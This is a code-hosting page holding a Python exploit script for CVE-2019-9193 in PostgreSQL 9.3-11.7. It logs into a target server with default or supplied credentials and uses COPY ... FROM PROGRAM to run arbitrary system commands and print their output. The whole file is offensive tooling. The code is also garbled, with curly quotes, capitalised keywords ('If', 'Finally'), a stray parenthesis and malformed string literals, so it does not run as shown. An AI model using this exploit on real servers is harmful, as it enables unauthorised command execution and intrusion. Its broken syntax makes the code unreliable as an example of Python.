-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGenPostgresRCEExploit.py
118 lines (97 loc) · 4.39 KB
/
GenPostgresRCEExploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import psycopg2
import argparse
import hashlib
import time
# Parsing and processing arguments
def parse_arguments():
parser = argparse.ArgumentParser(
description='Exploit CVE-2019-9193 - PostgreSQL 9.3-11.7 Authenticated RCE')
# parameters to connect to the database and execute the command
parser.add_argument('-i', '--ip', type=str, default='127.0.0.1',
help='IP address of PostgreSQL server [Default: 127.0.0.1]')
parser.add_argument('-p', '--port', type=int, default=5432,
help='PostgreSQL server port [Default: 5432]')
parser.add_argument('-d', '--database', default='template1',
help='PostgreSQL database name [Default: template1]')
parser.add_argument('-c', '--command', help='System command to execute')
parser.add_argument('-t', '--timeout', type=int, default=10,
help='Connection timeout in seconds [Default: 10]')
parser.add_argument('-U', '--user', default='postgres',
help='User name for connection [Default: postgres]')
parser.add_argument('-P', '--password', default='postgres',
help='Password for connection [Default: postgres]')
return parser.parse_args()
# Check vulnerability by PostgreSQL version
def check_pg_vulnerability(connection):
cursor = connection.cursor()
cursor.execute(“SELECT version()”)
pg_version_info = cursor.fetchall()
cursor.close()
pg_version_str = extract_version(pg_version_info)
pg_version_number = float(pg_version_str.split("PostgreSQL ”)[1][:4])
# Check the vulnerable version of PostgreSQL
If 9.3 <= pg_version_number <= 11.7:
print(f“[+] Vulnerable PostgreSQL version detected: {pg_version_number}”)
else:
print(f“[-] PostgreSQL version {pg_version_number} is not vulnerable”)
exit()
# Connect to database
def connect_to_database(args):
try:
print(f“\r\n[+] Connecting to PostgreSQL database on {args.ip}:{args.port}”)
conn = psycopg2.connect(
database=args.database,
user=args.user,
password=args.password,
host=args.ip,
port=args.port,
connect_timeout=args.timeout
)
print(“[+] Connection successfully established”)
return conn
except psycopg2.OperationalError as conn_error:
print(f“[-] Connection error: {conn_error}”)
exit()
# Execute command through PostgreSQL vulnerability
def execute_command_via_pg(conn, cmd):
cursor = conn.cursor()
table_name = generate_table_name()
try:
print(f“[+] Create temporary table: {table_name}”)
cursor.execute(f“”"”
DROP TABLE IF EXISTS {table_name};
CREATE TABLE {table_name}(output TEXT);
COPY {table_name} FROM PROGRAM '{cmd}';
SELECT * FROM {table_name};
““”)
print(“[+] Command completed successfully”)
# Retrieve and print the result of the command
command_result = cursor.fetchall()
output = extract_version(command_result)
print(output)
# Deleting the temporary table
cursor.execute(f “DROP TABLE {table_name}”)
print(f“[+] Temporary table {table_name} deleted”)
except psycopg2.errors.ExternalRoutineException as e:
print(f“[-] Command execution error: {e.pgerror}”)
print(f“[+] Deleting temporary table {table_name}”)
cursor.execute(f “DROP TABLE {table_name}”)
Finally:
cursor.close()
# Generating a unique table name based on the current time hash
def generate_table_name():
return “temp_” + hashlib.md5(time.ctime().encode('utf-8')).hexdigest())
# Extract PostgreSQL version from the query result
def extract_version(records):
return “\r\n”.join(record[0] for record in records)
# The main method for launching vulnerability exploitation
def exploit(args):
connection = connect_to_database(args)
check_pg_vulnerability(connection)
if args.command:
execute_command_via_pg(connection, args.command)
else:
print(“[+] Use the -c argument to execute a system command”)
if __name__ == “__main__”:
args = parse_arguments()
exploit(args)